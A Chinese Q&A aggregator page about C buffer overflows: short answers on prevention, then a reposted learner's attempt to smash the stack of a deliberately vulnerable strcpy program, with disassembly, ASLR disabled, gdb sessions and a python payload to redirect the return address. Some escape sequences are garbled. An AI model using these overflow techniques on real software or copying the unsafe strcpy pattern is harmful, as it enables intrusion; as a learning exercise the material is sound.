c语言程序缓冲区溢出怎么办?
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了c语言程序缓冲区溢出怎么办?相关的知识,希望对你有一定的参考价值。
参考技术A 办法很多1、增加缓冲区大小
2、函数调用前为缓冲区增加边界标识,调用后进行越界判断
3、在函数中进行缓冲区预警,过界就报错
……本回答被提问者和网友采纳 参考技术B 溢出了,谁也没有办法。在写程序时,应该避免。 参考技术C 具体情况请详细说明一下
试图缓冲溢出简单的c程序
我有问题缓冲溢出一个从命令行获取输入的简单c程序,这是main.c代码:
#include <stdio.h>
#include <string.h>
void func(char *name)
{
char buf[10];
strcpy(buf, name);
}
void chgflow(){
printf("changed flow!!
");
}
void main(int argc, char *argv[])
{
func(argv[1]);
printf("i should not be viewed if flow is changed
");
chgflow();
}
这是从objdump -d ./main获取的汇编版本:
<main>:
5a3: 8d 4c 24 04 lea 0x4(%esp),%ecx
5a7: 83 e4 f0 and $0xfffffff0,%esp
5aa: ff 71 fc pushl -0x4(%ecx)
5ad: 55 push %ebp
5ae: 89 e5 mov %esp,%ebp
5b0: 53 push %ebx
5b1: 51 push %ecx
5b2: e8 99 fe ff ff call 450 <__x86.get_pc_thunk.bx>
5b7: 81 c3 49 1a 00 00 add $0x1a49,%ebx
5bd: 89 c8 mov %ecx,%eax
5bf: 8b 40 04 mov 0x4(%eax),%eax
5c2: 83 c0 04 add $0x4,%eax
5c5: 8b 00 mov (%eax),%eax
5c7: 83 ec 0c sub $0xc,%esp
5ca: 50 push %eax
5cb: e8 7d ff ff ff call 54d <func>
5d0: 83 c4 10 add $0x10,%esp
5d3: 83 ec 0c sub $0xc,%esp
5d6: 8d 83 90 e6 ff ff lea -0x1970(%ebx),%eax
5dc: 50 push %eax
5dd: e8 fe fd ff ff call 3e0 <puts@plt>
5e2: 83 c4 10 add $0x10,%esp
5e5: e8 8e ff ff ff call 578 <chgflow>
5ea: 90 nop
5eb: 8d 65 f8 lea -0x8(%ebp),%esp
5ee: 59 pop %ecx
5ef: 5b pop %ebx
5f0: 5d pop %ebp
5f1: 8d 61 fc lea -0x4(%ecx),%esp
5f4: c3 ret
<func>:
54d: 55 push %ebp
54e: 89 e5 mov %esp,%ebp
550: 53 push %ebx
551: 83 ec 14 sub $0x14,%esp
554: e8 9c 00 00 00 call 5f5 <__x86.get_pc_thunk.ax>
559: 05 a7 1a 00 00 add $0x1aa7,%eax
55e: 83 ec 08 sub $0x8,%esp
561: ff 75 08 pushl 0x8(%ebp)
564: 8d 55 ee lea -0x12(%ebp),%edx
567: 52 push %edx
568: 89 c3 mov %eax,%ebx
56a: e8 61 fe ff ff call 3d0 <strcpy@plt>
56f: 83 c4 10 add $0x10,%esp
572: 90 nop
573: 8b 5d fc mov -0x4(%ebp),%ebx
576: c9 leave
577: c3 ret
<chgflow>:
578: 55 push %ebp
579: 89 e5 mov %esp,%ebp
57b: 53 push %ebx
57c: 83 ec 04 sub $0x4,%esp
57f: e8 71 00 00 00 call 5f5 <__x86.get_pc_thunk.ax>
584: 05 7c 1a 00 00 add $0x1a7c,%eax
589: 83 ec 0c sub $0xc,%esp
58c: 8d 90 80 e6 ff ff lea -0x1980(%eax),%edx
592: 52 push %edx
593: 89 c3 mov %eax,%ebx
595: e8 46 fe ff ff call 3e0 <puts@plt>
59a: 83 c4 10 add $0x10,%esp
59d: 90 nop
59e: 8b 5d fc mov -0x4(%ebp),%ebx
5a1: c9 leave
5a2: c3 ret
首先我执行了:
echo 0 > /proc/sys/kernel/randomize_va_space
然后编译main.c:
gcc -m32 -g main.c -o main -fno-stack-protector
当“func”函数终止时,我想覆盖常规的ret地址,并指向“chgflow”函数,因此绕过常规的下一条指令:
printf("i should not be viewed if flow is changed
");
调试main.c并检查我执行的内存地址:
gdb ./main
go
disas main
disas func
disas chgflow
这就是我为disas主要发现的:
0x565555cb <+40>: call 0x5655554d <func>
0x565555d0 <+45>: add $0x10,%esp
对于chgflow:
Dump of assembler code for function chgflow:
0x56555578 <+0>: push %ebp
所以我能理解:
0x565555d0 <+45>: add $0x10,%esp
是“func”终止后的常规ret地址(和下一条指令),0x56555578是“chgflow”功能的第一条指令。现在我必须检查“func”的组装,以了解填充堆栈需要多少char A(让我们说);从这一行:
564: 8d 55 ee lea -0x12(%ebp),%edx
我明白我需要18Byte + 4字节的A填充来获取Ret地址。为了确认我再次执行:
gdb ./main
break 7
run AAAAAAAAAAAAAAAAAAAAAA
(“A”重复22次)
(gdb) x/s $ebp-18
0xffffd2a6: 'A' <repeats 22 times>
(gdb) x/s $ebp
0xffffd2b8: "AAAA"
(gdb) x/x $ebp+4
0xffffd2bc: 0x00
我的测试在这里完成,因为我无法理解为什么(gdb)x / x $ ebp + 4应该是Ret地址,结果显示0x00。我期望ret地址不会从常规的0x565555d0改变。但是,嘿! 00应该是终结者不是吗?所以我继续用21“A”填充进行另一次测试,这次结果是正确的:
(gdb) x/x $ebp+4
0xffffd2bc: 0x565555d0
我现在最后需要用0x56555578覆盖返回地址,这是“chgflow”函数的第一条指令的地址。我执行了之前的测试,取而代之的是:
run AAAAAAAAAAAAAAAAAAAAAx78x55x55x56
(“A”重复21次)但是gdb给了我:
Breakpoint 1, func (name=0x35357835 <error: Cannot access memory at address 0x35357835>) at main.c:7
这是我从记忆中看到的:
(gdb) x/x $ebp+4
0xffffd2ac: 0x37
(gdb) x/s $ebp+4
0xffffd2ac: "78x55x55x56"
最后我无法跳到“chgflow”。
有人可以帮我这个吗?我真的很感激。对马可来说
这不是将参数传递给gdb的正确方法
run AAAAAAAAAAAAAAAAAAAAAx78x55x55x56
您也可以从错误消息中了解它
Breakpoint 1, func (name=0x35357835 <error: Cannot access memory at address 0x35357835>) at main.c:7
特别是这一行
address 0x35357835
你可以使用例如
run $(python -c 'print "AAAAAAAAAAAAAAAAAAAAA" + "x78x55x55x56"')
以上是关于c语言程序缓冲区溢出怎么办?的主要内容,如果未能解决你的问题,请参考以下文章